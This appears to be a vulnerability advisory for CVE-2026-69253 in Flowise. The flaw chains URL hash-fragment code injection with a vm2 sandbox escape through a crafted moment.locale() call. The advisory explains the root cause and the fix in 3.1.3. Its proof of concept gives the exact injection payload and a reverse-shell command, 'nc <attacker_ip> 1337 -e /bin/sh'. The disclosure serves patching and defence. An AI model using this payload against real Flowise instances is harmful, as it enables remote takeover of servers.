CVE-2026-69253: Flowise vm2 Sandbox Escape to RCE via moment locale Injection
An authenticated attacker can inject arbitrary JavaScript into Flowise's AgentAsTool node by abusing a broken URL validator, escape the vm2 sandbox using a crafted moment.locale() call, and execute…

The problem
Flowise's AgentAsTool, ChatflowTool, and ExecuteFlow nodes run JavaScript with useSandbox: false, meaning they rely on the deprecated vm2 sandbox. The baseURL field for these nodes is validated only by JavaScript's built-in URL class, which does not check or strip the hash fragment (#...) of a URL.
An authenticated user who can edit a chatflow can place #";\n{code};// in the baseURL setting. That value is interpolated verbatim into a JavaScript template string before execution, breaking out of the string literal and injecting arbitrary code into the vm2 context.
Because vm2 is itself escapable via the allowed moment dependency, the injected code can also break out of the sandbox entirely and reach the Node.js host process.
Proof of concept
A working proof-of-concept for CVE-2026-69253 in flowise, with the exact payload below.
// 1. Set baseURL on the AgentAsTool node (via PUT /api/v1/chatflows/<id>) to:
https://192.168.1.1:3000/#";
fake = new String("../../../../../../../../../../../../../../../../../home/node/.flowise/storage/<org_id>/docustore/<store_id>/rce.js");
fake.match = function(regexp){return true;};
require("moment").locale(fake);//
// 2. Contents of rce.js (uploaded via document store, executed outside vm2):
process.mainModule.require('child_process').execSync('/usr/bin/nc <attacker_ip> 1337 -e /bin/sh')Two weaknesses chain together. First, isValidURL uses new URL(input) which succeeds even when the input contains arbitrary content after a # character, so the hash fragment is never sanitized before it is interpolated into the code template string. Second, moment's CVE-2022-24785 patch calls name.match(regexp) on the caller-supplied object, but a crafted String subclass with an overridden .match() that always returns true bypasses the path-traversal check, letting require('./locale/' + name) load any file on disk as a Node.js module.
Because vm2 executes in-process, the loaded file's code runs with full host-process privileges, completely outside the sandbox. The root CWE is CWE-94 (Eval Injection): untrusted input reaches executeJavaScriptCode without sanitization.
The fix
Update to Flowise 3.1.3 (patch commit 3f257bdc8196082a178da7134a075824401b13b9, PR #6417). The fix changes the default sandbox to E2B (requiring E2B_APIKEY) for all code execution paths and removes the direct string interpolation of baseURL into generated code.
For self-hosted instances that cannot migrate to E2B immediately, set the E2B_APIKEY environment variable and restrict chatflow editing to trusted administrators only. Long-term, replace vm2 with isolated-vm as the vm2 maintainers have permanently deprecated the library.
Reported by Luke Jahnke and Alex Brown (elttam).
Related research
- highCVE-2026-69257CVE-2026-69257: Flowise SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses
- highCVE-2026-69258CVE-2026-69258: Flowise Unauthenticated Property Injection via Ungated overrideConfig Spread
- criticalCVE-2026-69259CVE-2026-69259: Flowise SQLite Record Manager Authenticated RCE via Arbitrary File Write
- criticalCVE-2026-69254CVE-2026-69254: Flowise RCE via NodeVM Sandbox Escape in executeJavaScriptCode()